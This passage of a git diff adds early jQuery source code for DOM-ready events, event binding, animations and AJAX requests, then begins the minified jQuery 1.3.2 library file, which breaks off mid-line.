+                       // Remember that the DOM is ready
+                       jQuery.isReady = true;
+                       
+                       // If there are functions bound, to execute
+                       if ( jQuery.readyList ) {
+                               // Execute all of them
+                               for ( var i = 0; i < jQuery.readyList.length; i++ )
+                                       jQuery.readyList[i].apply( document );
+                               
+                               // Reset the list of functions
+                               jQuery.readyList = null;
+                       }
+               }
+       }
+});
+
+new function(){
+
+       var e = ("blur,focus,load,resize,scroll,unload,click,dblclick," +
+               "mousedown,mouseup,mousemove,mouseover,mouseout,change,reset,select," + 
+               "submit,keydown,keypress,keyup,error").split(",");
+
+       // Go through all the event names, but make sure that
+       // it is enclosed properly
+       for ( var i = 0; i < e.length; i++ ) new function(){
+                       
+               var o = e[i];
+               
+               // Handle event binding
+               jQuery.fn[o] = function(f){
+                       return f ? this.bind(o, f) : this.trigger(o);
+               };
+               
+               // Handle event unbinding
+               jQuery.fn["un"+o] = function(f){ return this.unbind(o, f); };
+               
+               // Finally, handle events that only fire once
+               jQuery.fn["one"+o] = function(f){
+                       // Attach the event listener
+                       return this.each(function(){
+
+                               var count = 0;
+
+                               // Add the event
+                               jQuery.event.add( this, o, function(e){
+                                       // If this function has already been executed, stop
+                                       if ( count++ ) return;
+                               
+                                       // And execute the bound function
+                                       return f.apply(this, [e]);
+                               });
+                       });
+               };
+                       
+       };
+       
+       // If Mozilla is used
+       if ( jQuery.browser.mozilla || jQuery.browser.opera ) {
+               // Use the handy event callback
+               document.addEventListener( "DOMContentLoaded", jQuery.ready, false );
+       
+       // If IE is used, use the excellent hack by Matthias Miller
+       // http://www.outofhanwell.com/blog/index.php?title=the_window_onload_problem_revisited
+       } else if ( jQuery.browser.msie ) {
+       
+               // Only works if you document.write() it
+               document.write("<scr" + "ipt id=__ie_init defer=true " + 
+                       "src=//:><\/script>");
+       
+               // Use the defer script hack
+               var script = document.getElementById("__ie_init");
+               script.onreadystatechange = function() {
+                       if ( this.readyState != "complete" ) return;
+                       this.parentNode.removeChild( this );
+                       jQuery.ready();
+               };
+       
+               // Clear from memory
+               script = null;
+       
+       // If Safari  is used
+       } else if ( jQuery.browser.safari ) {
+               // Continually check to see if the document.readyState is valid
+               jQuery.safariTimer = setInterval(function(){
+                       // loaded and complete are both valid states
+                       if ( document.readyState == "loaded" || 
+                               document.readyState == "complete" ) {
+       
+                               // If either one are found, remove the timer
+                               clearInterval( jQuery.safariTimer );
+                               jQuery.safariTimer = null;
+       
+                               // and execute any waiting functions
+                               jQuery.ready();
+                       }
+               }, 10);
+       } 
+
+       // A fallback to window.onload, that will always work
+       jQuery.event.add( window, "load", jQuery.ready );
+       
+};
+jQuery.fn.extend({
+
+       // overwrite the old show method
+       _show: jQuery.fn.show,
+
+       show: function(speed,callback){
+               return speed ? this.animate({
+                       height: "show", width: "show", opacity: "show"
+               }, speed, callback) : this._show();
+       },
+       
+       // Overwrite the old hide method
+       _hide: jQuery.fn.hide,
+
+       hide: function(speed,callback){
+               return speed ? this.animate({
+                       height: "hide", width: "hide", opacity: "hide"
+               }, speed, callback) : this._hide();
+       },
+
+       slideDown: function(speed,callback){
+               return this.animate({height: "show"}, speed, callback);
+       },
+
+       slideUp: function(speed,callback){
+               return this.animate({height: "hide"}, speed, callback);
+       },
+
+       slideToggle: function(speed,callback){
+               return this.each(function(){
+                       var state = $(this).is(":hidden") ? "show" : "hide";
+                       $(this).animate({height: state}, speed, callback);
+               });
+       },
+
+       fadeIn: function(speed,callback){
+               return this.animate({opacity: "show"}, speed, callback);
+       },
+
+       fadeOut: function(speed,callback){
+               return this.animate({opacity: "hide"}, speed, callback);
+       },
+
+       fadeTo: function(speed,to,callback){
+               return this.animate({opacity: to}, speed, callback);
+       },
+       animate: function(prop,speed,callback) {
+               return this.queue(function(){
+               
+                       this.curAnim = prop;
+                       
+                       for ( var p in prop ) {
+                               var e = new jQuery.fx( this, jQuery.speed(speed,callback), p );
+                               if ( prop[p].constructor == Number )
+                                       e.custom( e.cur(), prop[p] );
+                               else
+                                       e[ prop[p] ]( prop );
+                       }
+                       
+               });
+       },
+       queue: function(type,fn){
+               if ( !fn ) {
+                       fn = type;
+                       type = "fx";
+               }
+       
+               return this.each(function(){
+                       if ( !this.queue )
+                               this.queue = {};
+       
+                       if ( !this.queue[type] )
+                               this.queue[type] = [];
+       
+                       this.queue[type].push( fn );
+               
+                       if ( this.queue[type].length == 1 )
+                               fn.apply(this);
+               });
+       }
+
+});
+
+jQuery.extend({
+
+       setAuto: function(e,p) {
+               if ( e.notAuto ) return;
+
+               if ( p == "height" && e.scrollHeight != parseInt(jQuery.curCSS(e,p)) ) return;
+               if ( p == "width" && e.scrollWidth != parseInt(jQuery.curCSS(e,p)) ) return;
+
+               // Remember the original height
+               var a = e.style[p];
+
+               // Figure out the size of the height right now
+               var o = jQuery.curCSS(e,p,1);
+
+               if ( p == "height" && e.scrollHeight != o ||
+                       p == "width" && e.scrollWidth != o ) return;
+
+               // Set the height to auto
+               e.style[p] = e.currentStyle ? "" : "auto";
+
+               // See what the size of "auto" is
+               var n = jQuery.curCSS(e,p,1);
+
+               // Revert back to the original size
+               if ( o != n && n != "auto" ) {
+                       e.style[p] = a;
+                       e.notAuto = true;
+               }
+       },
+       
+       speed: function(s,o) {
+               o = o || {};
+               
+               if ( o.constructor == Function )
+                       o = { complete: o };
+               
+               var ss = { slow: 600, fast: 200 };
+               o.duration = (s && s.constructor == Number ? s : ss[s]) || 400;
+       
+               // Queueing
+               o.oldComplete = o.complete;
+               o.complete = function(){
+                       jQuery.dequeue(this, "fx");
+                       if ( o.oldComplete && o.oldComplete.constructor == Function )
+                               o.oldComplete.apply( this );
+               };
+       
+               return o;
+       },
+       
+       queue: {},
+       
+       dequeue: function(elem,type){
+               type = type || "fx";
+       
+               if ( elem.queue && elem.queue[type] ) {
+                       // Remove self
+                       elem.queue[type].shift();
+       
+                       // Get next function
+                       var f = elem.queue[type][0];
+               
+                       if ( f ) f.apply( elem );
+               }
+       },
+
+       /*
+        * I originally wrote fx() as a clone of moo.fx and in the process
+        * of making it small in size the code became illegible to sane
+        * people. You've been warned.
+        */
+       
+       fx: function( elem, options, prop ){
+       
+               var z = this;
+       
+               // The users options
+               z.o = {
+                       duration: options.duration || 400,
+                       complete: options.complete,
+                       step: options.step
+               };
+       
+               // The element
+               z.el = elem;
+       
+               // The styles
+               var y = z.el.style;
+       
+               // Simple function for setting a style value
+               z.a = function(){
+                       if ( options.step )
+                               options.step.apply( elem, [ z.now ] );
+
+                       if ( prop == "opacity" ) {
+                               if (jQuery.browser.mozilla && z.now == 1) z.now = 0.9999;
+                               if (window.ActiveXObject)
+                                       y.filter = "alpha(opacity=" + z.now*100 + ")";
+                               else
+                                       y.opacity = z.now;
+
+                       // My hate for IE will never die
+                       } else if ( parseInt(z.now) )
+                               y[prop] = parseInt(z.now) + "px";
+                               
+                       y.display = "block";
+               };
+       
+               // Figure out the maximum number to run to
+               z.max = function(){
+                       return parseFloat( jQuery.css(z.el,prop) );
+               };
+       
+               // Get the current size
+               z.cur = function(){
+                       var r = parseFloat( jQuery.curCSS(z.el, prop) );
+                       return r && r > -10000 ? r : z.max();
+               };
+       
+               // Start an animation from one number to another
+               z.custom = function(from,to){
+                       z.startTime = (new Date()).getTime();
+                       z.now = from;
+                       z.a();
+       
+                       z.timer = setInterval(function(){
+                               z.step(from, to);
+                       }, 13);
+               };
+       
+               // Simple 'show' function
+               z.show = function( p ){
+                       if ( !z.el.orig ) z.el.orig = {};
+
+                       // Remember where we started, so that we can go back to it later
+                       z.el.orig[prop] = this.cur();
+
+                       z.custom( 0, z.el.orig[prop] );
+
+                       // Stupid IE, look what you made me do
+                       if ( prop != "opacity" )
+                               y[prop] = "1px";
+               };
+       
+               // Simple 'hide' function
+               z.hide = function(){
+                       if ( !z.el.orig ) z.el.orig = {};
+
+                       // Remember where we started, so that we can go back to it later
+                       z.el.orig[prop] = this.cur();
+
+                       z.o.hide = true;
+
+                       // Begin the animation
+                       z.custom(z.el.orig[prop], 0);
+               };
+       
+               // IE has trouble with opacity if it does not have layout
+               if ( jQuery.browser.msie && !z.el.currentStyle.hasLayout )
+                       y.zoom = "1";
+       
+               // Remember  the overflow of the element
+               if ( !z.el.oldOverlay )
+                       z.el.oldOverflow = jQuery.css( z.el, "overflow" );
+       
+               // Make sure that nothing sneaks out
+               y.overflow = "hidden";
+       
+               // Each step of an animation
+               z.step = function(firstNum, lastNum){
+                       var t = (new Date()).getTime();
+       
+                       if (t > z.o.duration + z.startTime) {
+                               // Stop the timer
+                               clearInterval(z.timer);
+                               z.timer = null;
+
+                               z.now = lastNum;
+                               z.a();
+
+                               z.el.curAnim[ prop ] = true;
+                               
+                               var done = true;
+                               for ( var i in z.el.curAnim )
+                                       if ( z.el.curAnim[i] !== true )
+                                               done = false;
+                                               
+                               if ( done ) {
+                                       // Reset the overflow
+                                       y.overflow = z.el.oldOverflow;
+                               
+                                       // Hide the element if the "hide" operation was done
+                                       if ( z.o.hide ) 
+                                               y.display = 'none';
+                                       
+                                       // Reset the property, if the item has been hidden
+                                       if ( z.o.hide ) {
+                                               for ( var p in z.el.curAnim ) {
+                                                       y[ p ] = z.el.orig[p] + ( p == "opacity" ? "" : "px" );
+       
+                                                       // set its height and/or width to auto
+                                                       if ( p == 'height' || p == 'width' )
+                                                               jQuery.setAuto( z.el, p );
+                                               }
+                                       }
+                               }
+
+                               // If a callback was provided, execute it
+                               if( done && z.o.complete && z.o.complete.constructor == Function )
+                                       // Execute the complete function
+                                       z.o.complete.apply( z.el );
+                       } else {
+                               // Figure out where in the animation we are and set the number
+                               var p = (t - this.startTime) / z.o.duration;
+                               z.now = ((-Math.cos(p*Math.PI)/2) + 0.5) * (lastNum-firstNum) + firstNum;
+       
+                               // Perform the next step of the animation
+                               z.a();
+                       }
+               };
+       
+       }
+
+});
+// AJAX Plugin
+// Docs Here:
+// http://jquery.com/docs/ajax/
+jQuery.fn.loadIfModified = function( url, params, callback ) {
+       this.load( url, params, callback, 1 );
+};
+
+jQuery.fn.load = function( url, params, callback, ifModified ) {
+       if ( url.constructor == Function )
+               return this.bind("load", url);
+
+       callback = callback || function(){};
+
+       // Default to a GET request
+       var type = "GET";
+
+       // If the second parameter was provided
+       if ( params ) {
+               // If it's a function
+               if ( params.constructor == Function ) {
+                       // We assume that it's the callback
+                       callback = params;
+                       params = null;
+                       
+               // Otherwise, build a param string
+               } else {
+                       params = jQuery.param( params );
+                       type = "POST";
+               }
+       }
+       
+       var self = this;
+       
+       // Request the remote document
+       jQuery.ajax( type, url, params,function(res, status){
+               
+               if ( status == "success" || !ifModified && status == "notmodified" ) {
+                       // Inject the HTML into all the matched elements
+                       self.html(res.responseText).each( callback, [res.responseText, status] );
+                       
+                       // Execute all the scripts inside of the newly-injected HTML
+                       $("script", self).each(function(){
+                               if ( this.src )
+                                       $.getScript( this.src );
+                               else
+                                       eval.call( window, this.text || this.textContent || this.innerHTML || "" );
+                       });
+               } else
+                       callback.apply( self, [res.responseText, status] );
+
+       }, ifModified);
+       
+       return this;
+};
+
+// If IE is used, create a wrapper for the XMLHttpRequest object
+if ( jQuery.browser.msie && typeof XMLHttpRequest == "undefined" )
+       XMLHttpRequest = function(){
+               return new ActiveXObject(
+                       navigator.userAgent.indexOf("MSIE 5") >= 0 ?
+                       "Microsoft.XMLHTTP" : "Msxml2.XMLHTTP"
+               );
+       };
+
+// Attach a bunch of functions for handling common AJAX events
+new function(){
+       var e = "ajaxStart,ajaxStop,ajaxComplete,ajaxError,ajaxSuccess".split(',');
+       
+       for ( var i = 0; i < e.length; i++ ) new function(){
+               var o = e[i];
+               jQuery.fn[o] = function(f){
+                       return this.bind(o, f);
+               };
+       };
+};
+
+jQuery.extend({
+       get: function( url, data, callback, type, ifModified ) {
+               if ( data.constructor == Function ) {
+                       type = callback;
+                       callback = data;
+                       data = null;
+               }
+               
+               if ( data ) url += "?" + jQuery.param(data);
+               
+               // Build and start the HTTP Request
+               jQuery.ajax( "GET", url, null, function(r, status) {
+                       if ( callback ) callback( jQuery.httpData(r,type), status );
+               }, ifModified);
+       },
+
+       getIfModified: function( url, data, callback, type ) {
+               jQuery.get(url, data, callback, type, 1);
+       },
+
+       getScript: function( url, data, callback ) {
+               jQuery.get(url, data, callback, "script");
+       },
+       post: function( url, data, callback, type ) {
+               // Build and start the HTTP Request
+               jQuery.ajax( "POST", url, jQuery.param(data), function(r, status) {
+                       if ( callback ) callback( jQuery.httpData(r,type), status );
+               });
+       },
+       
+       // timeout (ms)
+       timeout: 0,
+
+       ajaxTimeout: function(timeout) {
+               jQuery.timeout = timeout;
+       },
+
+       // Last-Modified header cache for next request
+       lastModified: {},
+       ajax: function( type, url, data, ret, ifModified ) {
+               // If only a single argument was passed in,
+               // assume that it is a object of key/value pairs
+               if ( !url ) {
+                       ret = type.complete;
+                       var success = type.success;
+                       var error = type.error;
+                       data = type.data;
+                       url = type.url;
+                       type = type.type;
+               }
+               
+               // Watch for a new set of requests
+               if ( ! jQuery.active++ )
+                       jQuery.event.trigger( "ajaxStart" );
+
+               var requestDone = false;
+       
+               // Create the request object
+               var xml = new XMLHttpRequest();
+       
+               // Open the socket
+               xml.open(type || "GET", url, true);
+               
+               // Set the correct header, if data is being sent
+               if ( data )
+                       xml.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
+               
+               // Set the If-Modified-Since header, if ifModified mode.
+               if ( ifModified )
+                       xml.setRequestHeader("If-Modified-Since",
+                               jQuery.lastModified[url] || "Thu, 01 Jan 1970 00:00:00 GMT" );
+               
+               // Set header so calling script knows that it's an XMLHttpRequest
+               xml.setRequestHeader("X-Requested-With", "XMLHttpRequest");
+       
+               // Make sure the browser sends the right content length
+               if ( xml.overrideMimeType )
+                       xml.setRequestHeader("Connection", "close");
+               
+               // Wait for a response to come back
+               var onreadystatechange = function(istimeout){
+                       // The transfer is complete and the data is available, or the request timed out
+                       if ( xml && (xml.readyState == 4 || istimeout == "timeout") ) {
+                               requestDone = true;
+
+                               var status = jQuery.httpSuccess( xml ) && istimeout != "timeout" ?
+                                       ifModified && jQuery.httpNotModified( xml, url ) ? "notmodified" : "success" : "error";
+                               
+                               // Make sure that the request was successful or notmodified
+                               if ( status != "error" ) {
+                                       // Cache Last-Modified header, if ifModified mode.
+                                       var modRes = xml.getResponseHeader("Last-Modified");
+                                       if ( ifModified && modRes ) jQuery.lastModified[url] = modRes;
+                                       
+                                       // If a local callback was specified, fire it
+                                       if ( success ) success( xml, status );
+                                       
+                                       // Fire the global callback
+                                       jQuery.event.trigger( "ajaxSuccess" );
+                               
+                               // Otherwise, the request was not successful
+                               } else {
+                                       // If a local callback was specified, fire it
+                                       if ( error ) error( xml, status );
+                                       
+                                       // Fire the global callback
+                                       jQuery.event.trigger( "ajaxError" );
+                               }
+                               
+                               // The request was completed
+                               jQuery.event.trigger( "ajaxComplete" );
+                               
+                               // Handle the global AJAX counter
+                               if ( ! --jQuery.active )
+                                       jQuery.event.trigger( "ajaxStop" );
+       
+                               // Process result
+                               if ( ret ) ret(xml, status);
+                               
+                               // Stop memory leaks
+                               xml.onreadystatechange = function(){};
+                               xml = null;
+                               
+                       }
+               };
+               xml.onreadystatechange = onreadystatechange;
+               
+               // Timeout checker
+               if(jQuery.timeout > 0)
+                       setTimeout(function(){
+                               // Check to see if the request is still happening
+                               if (xml) {
+                                       // Cancel the request
+                                       xml.abort();
+
+                                       if ( !requestDone ) onreadystatechange( "timeout" );
+
+                                       // Clear from memory
+                                       xml = null;
+                               }
+                       }, jQuery.timeout);
+               
+               // Send the data
+               xml.send(data);
+       },
+       
+       // Counter for holding the number of active queries
+       active: 0,
+       
+       // Determines if an XMLHttpRequest was successful or not
+       httpSuccess: function(r) {
+               try {
+                       return !r.status && location.protocol == "file:" ||
+                               ( r.status >= 200 && r.status < 300 ) || r.status == 304 ||
+                               jQuery.browser.safari && r.status == undefined;
+               } catch(e){}
+
+               return false;
+       },
+
+       // Determines if an XMLHttpRequest returns NotModified
+       httpNotModified: function(xml, url) {
+               try {
+                       var xmlRes = xml.getResponseHeader("Last-Modified");
+
+                       // Firefox always returns 200. check Last-Modified date
+                       return xml.status == 304 || xmlRes == jQuery.lastModified[url] ||
+                               jQuery.browser.safari && xml.status == undefined;
+               } catch(e){}
+
+               return false;
+       },
+       
+       // Get the data out of an XMLHttpRequest.
+       // Return parsed XML if content-type header is "xml" and type is "xml" or omitted,
+       // otherwise return plain text.
+       httpData: function(r,type) {
+               var ct = r.getResponseHeader("content-type");
+               var data = !type && ct && ct.indexOf("xml") >= 0;
+               data = type == "xml" || data ? r.responseXML : r.responseText;
+
+               // If the type is "script", eval it
+               if ( type == "script" ) eval.call( window, data );
+
+               // Get the JavaScript object, if JSON is used.
+               if ( type == "json" ) eval( "data = " + data );
+
+               return data;
+       },
+       
+       // Serialize an array of form elements or a set of
+       // key/values into a query string
+       param: function(a) {
+               var s = [];
+               
+               // If an array was passed in, assume that it is an array
+               // of form elements
+               if ( a.constructor == Array ) {
+                       // Serialize the form elements
+                       for ( var i = 0; i < a.length; i++ )
+                               s.push( a[i].name + "=" + encodeURIComponent( a[i].value ) );
+                       
+               // Otherwise, assume that it's an object of key/value pairs
+               } else {
+                       // Serialize the key/values
+                       for ( var j in a )
+                               s.push( j + "=" + encodeURIComponent( a[j] ) );
+               }
+               
+               // Return the resulting serialization
+               return s.join("&");
+       }
+
+});
diff --git a/libjs/jquery-1.3.2.min.js b/libjs/jquery-1.3.2.min.js
new file mode 100755 (executable)
index 0000000..b1ae21d
--- /dev/null
@@ -0,0 +1,19 @@
+/*
+ * jQuery JavaScript Library v1.3.2
+ * http://jquery.com/
+ *
+ * Copyright (c) 2009 John Resig
+ * Dual licensed under the MIT and GPL licenses.
+ * http://docs.jquery.com/License
+ *
+ * Date: 2009-02-19 17:34:21 -0500 (Thu, 19 Feb 2009)
+ * Revision: 6246
+ */
+(function(){var l=this,g,y=l.jQuery,p=l.$,o=l.jQuery=l.$=function(E,F){return new o.fn.init(E,F)},D=/^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/,f=/^.[^:#\[\.,]*$/;o.fn=o.prototype={init:function(E,H){E=E||document;if(E.nodeType){this[0]=E;this.length=1;this.context=E;return this}if(typeof E==="string"){var G=D.exec(E);if(G&&(G[1]||!H)){if(G[1]){E=o.clean([G[1]],H)}else{var I=document.getElementById(G[3]);if(I&&I.id!=G[3]){return o().find(E)}var F=o(I||[]);F.context=document;F.selector=E;return F}}else{return o(H).find(E)}}else{if(o.isFunction(E)){return o(document).ready(E)}}if(E.selector&&E.context){this.selector=E.selector;this.context=E.context}return this.setArray(o.isArray(E)?E:o.makeArray(E))},selector:"",jquery:"1.3.2",size:function(){return this.length},get:function(E){return E===g?Array.prototype.slice.call(this):this[E]},pushStack:function(F,H,E){var G=o(F);G.prevObject=this;G.context=this.context;if(H==="find"){G.selector=this.selector+(this.selector?" ":"")+E}else{if(H){G.selector=this.selector+"."+H+"("+E+")"}}return G},setArray:function(E){this.length=0;Array.prototype.push.apply(this,E);return this},each:function(F,E){return o.each(this,F,E)},index:function(E){return o.inArray(E&&E.jquery?E[0]:E,this)},attr:function(F,H,G){var E=F;if(typeof F==="string"){if(H===g){return this[0]&&o[G||"attr"](this[0],F)}else{E={};E[F]=H}}return this.each(function(I){for(F in E){o.attr(G?this.style:this,F,o.prop(this,E[F],G,I,F))}})},css:function(E,F){if((E=="width"||E=="height")&&parseFloat(F)<0){F=g}return this.attr(E,F,"curCSS")},text:function(F){if(typeof F!=="object"&&F!=null){return this.empty().append((this[0]&&this[0].ownerDocument||document).createTextNode(F))}var E="";o.each(F||this,function(){o.each(this.childNodes,function(){if(this.nodeType!=8){E+=this.nodeType!=1?this.nodeValue:o.fn.text([this])}})});return E},wrapAll:function(E){if(this[0]){var F=o(E,this[0].ownerDocument).clone();if(this[0].parentNode){F.insertBefore(this[0])}F.map(function(){var G=this;while(G.firstChild){G=G.firstChild}return G}).append(this)}return this},wrapInner:function(E){return this.each(function(){o(this).contents().wrapAll(E)})},wrap:function(E){return this.each(function(){o(this).wrapAll(E)})},append:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.appendChild(E)}})},prepend:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.insertBefore(E,this.firstChild)}})},before:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this)})},after:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this.nextSibling)})},end:function(){return this.prevObject||o([])},push:[].push,sort:[].sort,splice:[].splice,find:function(E){if(this.length===1){var F=this.pushStack([],"find",E);F.length=0;o.find(E,this[0],F);return F}else{return this.pushStack(o.unique(o.map(this,function(G){return o.find(E,G)})),"find",E)}},clone:function(G){var E=this.map(function(){if(!o.support.noCloneEvent&&!o.isXMLDoc(this)){var I=this.outerHTML;if(!I){var J=this.ownerDocument.createElement("div");J.appendChild(this.cloneNode(true));I=J.innerHTML}return o.clean([I.replace(/ jQuery\d+="(?:\d+|null)"/g,"").replace(/^\s*/,"")])[0]}else{return this.cloneNode(true)}});if(G===true){var H=this.find("*").andSelf(),F=0;E.find("*").andSelf().each(function(){if(this.nodeName!==H[F].nodeName){return}var I=o.data(H[F],"events");for(var K in I){for(var J in I[K]){o.event.add(this,K,I[K][J],I[K][J].data)}}F++})}return E},filter:function(E){return this.pushStack(o.isFunction(E)&&o.grep(this,function(G,F){return E.call(G,F)})||o.multiFilter(E,o.grep(this,function(F){return F.nodeType===1})),"filter",E)},closest:function(E){var G=o.expr.match.POS.test(E)?o(E):null,F=0;return this.map(function(){var H=this;while(H&&H.ownerDocument){if(G?G.index(H)>-1:o(H).is(E)){o.data(H,"closest",F);return H}H=H.parentNode;F++}})},not:function(E){if(typeof E==="string"){if(f.test(E)){return this.pushStack(o.multiFilter(E,this,true),"not",E)}else{E=o.multiFilter(E,this)}}var F=E.length&&E[E.length-1]!==g&&!E.nodeType;return this.filter(function(){return F?o.inArray(this,E)<0:this!=E})},add:function(E){return this.pushStack(o.unique(o.merge(this.get(),typeof E==="string"?o(E):o.makeArray(E))))},is:function(E){return !!E&&o.multiFilter(E,this).length>0},hasClass:function(E){return !!E&&this.is("."+E)},val:function(K){if(K===g){var E=this[0];if(E){if(o.nodeName(E,"option")){return(E.attributes.value||{}).specified?E.value:E.text}if(o.nodeName(E,"select")){var I=E.selectedIndex,L=[],M=E.options,H=E.type=="select-one";if(I<0){return null}for(var F=H?I:0,J=H?I+1:M.length;F<J;F++){var G=M[F];if(G.selected){K=o(G).val();if(H){return K}L.push(K)}}return L}return(E.value||"").replace(/\r/g,"")}return g}if(typeof K==="number"){K+=""}return this.each(function(){if(this.nodeType!=1){return}if(o.isArray(K)&&/radio|checkbox/.test(this.type)){this.checked=(o.inArray(this.value,K)>=0||o.inArray(this.name,K)>=0)}else{if(o.nodeName(this,"select")){var N=o.makeArray(K);o("option",this).each(function(){this.selected=(o.inArray(this.value,N)>=0||o.inArray(this.text,N)>=0)});if(!N.length){this.selectedIndex=-1}}else{this.value=K}}})},html:function(E){return E===g?(this[0]?this[0].innerHTML.replace(/ jQuery\d+="(?:\d+|null)"/g,""):null):this.empty().append(E)},replaceWith:function(E){return this.after(E).remove()},eq:function(E){return this.slice(E,+E+1)},slice:function(){return this.pushStack(Array.prototype.slice.apply(this,arguments),"slice",Array.prototype.slice.call(arguments).join(","))},map:function(E){return this.pushStack(o.map(this,function(G,F){return E.call(G,F,G)}))},andSelf:function(){return this.add(this.prevObject)},domManip:function(J,M,L){if(this[0]){var I=(this[0].ownerDocument||this[0]).createDocumentFragment(),F=o.clean(J,(this[0].ownerDocument||this[0]),I),H=I.firstChild;if(H){for(var G=0,E=this.length;G<E;G++){L.call(K(this[G],H),this.length>1||G>0?I.cloneNode(true):I)}}if(F){o.each(F,z)}}return this;function K(N,O){return M&&o.nodeName(N,"table")&&o.nodeName(O,"tr")?(N.getElementsByTagName("tbody")[0]||N.appendChild(N.ownerDocument.createElement("tbody"))):N}}};o.fn.init.prototype=o.fn;function z(E,F){if(F.src){o.ajax({url:F.src,async:false,dataType:"script"})}else{o.globalEval(F.text||F.textContent||F.innerHTML||"")}if(F.parentNode){F.parentNode.removeChild(F)}}function e(){return +new Date}o.extend=o.fn.extend=function(){var J=arguments[0]||{},H=1,I=arguments.length,E=false,G;if(typeof J==="boolean"){E=J;J=arguments[1]||{};H=2}if(typeof J!=="object"&&!o.isFunction(J)){J={}}if(I==H){J=this;--H}for(;H<I;H++){if((G=arguments[H])!=null){for(var F in G){var K=J[F],L=G[F];if(J===L){continue}if(E&&L&&typeof L==="object"&&!L.nodeType){J[F]=o.extend(E,K||(L.length!=null?[]:{}),L)}else{if(L!==g){J[F]=L}}}}}return J};var b=/z-?index|font-?weight|opacity|zoom|line-?height/i,q=document.defaultView||{},s=Object.prototype.toString;o.extend({noConflict:function(E){l.$=p;if(E){l.jQuery=y}return o},isFunction:function(E){return s.call(E)==="[object Function]"},isArray:function(E){return s.call(E)==="[object Array]"},isXMLDoc:function(E){return E.nodeType===9&&E.documentElement.nodeName!=="HTML"||!!E.ownerDocument&&o.isXMLDoc(E.ownerDocument)},globalEval:function(G){if(G&&/\S/.test(G)){var F=document.getElementsByTagName("head")[0]||document.documentElement,E=document.createElement("script");E.type="text/javascript";if(o.support.scriptEval){E.appendChild(document.createTextNode(G))}else{E.text=G}F.insertBefore(E,F.firstChild);F.removeChild(E)}},nodeName:function(F,E){return F.nodeName&&F.nodeName.toUpperCase()==E.toUpperCase()},each:function(G,K,F){var E,H=0,I=G.length;if(F){if(I===g){for(E in G){if(K.apply(G[E],F)===false){break}}}else{for(;H<I;){if(K.apply(G[H++],F)===false){break}}}}else{if(I===g){for(E in G){if(K.call(G[E],E,G[E])===false){break}}}else{for(var J=G[0];H<I&&K.call(J,H,J)!==false;J=G[++H]){}}}return G},prop:function(H,I,G,F,E){if(o.isFunction(I)){I=I.call(H,F)}return typeof I==="number"&&G=="curCSS"&&!b.test(E)?I+"px":I},className:{add:function(E,F){o.each((F||"").split(/\s+/),function(G,H){if(E.nodeType==1&&!o.className.has(E.className,H)){E.className+=(E.className?" ":"")+H}})},remove:function(E,F){if(E.nodeType==1){E.className=F!==g?o.grep(E.className.split(/\s+/),function(G){return !o.className.has(F,G)}).join(" "):""}},has:function(F,E){return F&&o.inArray(E,(F.className||F).toString().split(/\s+/))>-1}},swap:function(H,G,I){var E={};for(var F in G){E[F]=H.style[F];H.style[F]=G[F]}I.call(H);for(var F in G){H.style[F]=E[F]}},css:function(H,F,J,E){if(F=="width"||F=="height"){var L,G={position:"absolute",visibility:"hidden",display:"block"},K=F=="width"?["Left","Right"]:["Top","Bottom"];function I(){L=F=="width"?H.offsetWidth:H.offsetHeight;if(E==="border"){return}o.each(K,function(){if(!E){L-=parseFloat(o.curCSS(H,"padding"+this,true))||0}if(E==="margin"){L+=parseFloat(o.curCSS(H,"margin"+this,true))||0}else{L-=parseFloat(o.curCSS(H,"border"+this+"Width",true))||0}})}if(H.offsetWidth!==0){I()}else{o.swap(H,G,I)}return Math.max(0,Math.round(L))}return o.curCSS(H,F,J)},curCSS:function(I,F,G){var L,E=I.style;if(F=="opacity"&&!o.support.opacity){L=o.attr(E,"opacity");return L==""?"1":L}if(F.match(/float/i)){F=w}if(!G&&E&&E[F]){L=E[F]}else{if(q.getComputedStyle){if(F.match(/float/i)){F="float"}F=F.replace(/([A-Z])/g,"-$1").toLowerCase();var M=q.getComputedStyle(I,null);if(M){L=M.getPropertyValue(F)}if(F=="opacity"&&L==""){L="1"}}else{if(I.currentStyle){var J=F.replace(/\-(\w)/g,function(N,O){return O.toUpperCase()});L=I.currentStyle[F]||I.currentStyle[J];if(!/^\d+(px)?$/i.test(L)&&/^\d/.test(L)){var H=E.left,K=I.runtimeStyle.left;I.runtimeStyle.left=I.currentStyle.left;E.left=L||0;L=E.pixelLeft+"px";E.left=H;I.runtimeStyle.left=K}}}}return L},clean:function(F,K,I){K=K||document;if(typeof K.createElement==="undefined"){K=K.ownerDocument||K[0]&&K[0].ownerDocument||document}if(!I&&F.length===1&&typeof F[0]==="string"){var H=/^<(\w+)\s*\/?>$/.exec(F[0]);if(H){return[K.createElement(H[1])]}}var G=[],E=[],L=K.createElement("div");o.each(F,function(P,S){if(typeof S==="number"){S+=""}if(!S){return}if(typeof S==="string"){S=S.replace(/(<(\w+)[^>]*?)\/>/g,function(U,V,T){return T.match(/^(abbr|br|col|img|input|link|meta|param|hr|area|embed)$/i)?U:V+"></"+T+">"});var O=S.replace(/^\s+/,"").substring(0,10).toLowerCase();var Q=!O.indexOf("<opt")&&[1,"<select multiple='multiple'>","</select>"]||!O.indexOf("<leg")&&[1,"<fieldset>","</fieldset>"]||O.match(/^<(thead|tbody|tfoot|colg|cap)/)&&[1,"<table>","</table>"]||!O.indexOf("<tr")&&[2,"<table><tbody>","</tbody></table>"]||(!O.indexOf("<td")||!O.indexOf("<th"))&&[3,"<table><tbody><tr>","</tr></tbody></table>"]||!O.indexOf("<col")&&[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"]||!o.support.htmlSerialize&&[1,"div<div>","</div>"]||[0,"",""];L.innerHTML=Q[1]+S+Q[2];while(Q[0]--){L=L.lastChild}if(!o.support.tbody){var R=/<tbody/i.test(S),N=!O.indexOf("<table")&&!R?L.firstChild&&L.firstChild.childNodes:Q[1]=="<table>"&&!R?L.childNodes:[];for(var 